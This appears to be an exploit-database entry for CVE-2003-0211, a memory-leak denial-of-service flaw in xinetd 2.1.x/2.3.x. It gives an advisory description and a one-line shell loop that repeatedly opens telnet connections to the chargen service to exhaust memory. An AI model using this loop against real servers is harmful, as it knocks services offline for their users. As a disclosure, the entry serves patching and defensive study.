Xinetd 2.1.x/2.3.x - Rejected Connection Memory Leakage Denial of Service

Author: Steve Grubb
type: dos
platform: linux
port: 
date_added: 2003-04-18
date_updated: 2012-11-05
verified: 1
codes: CVE-2003-0211;OSVDB-12125
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/7382/info

A denial of service vulnerability has been reported for Xinetd. The vulnerability exists due to memory leaks occuring when connections are rejected.

Numerous, repeated connections to a vulnerable Xinetd server will result in the consumption of all available memory resources thereby causing a denial of service condition.

while true; do telnet localhost chargen < /dev/null; done;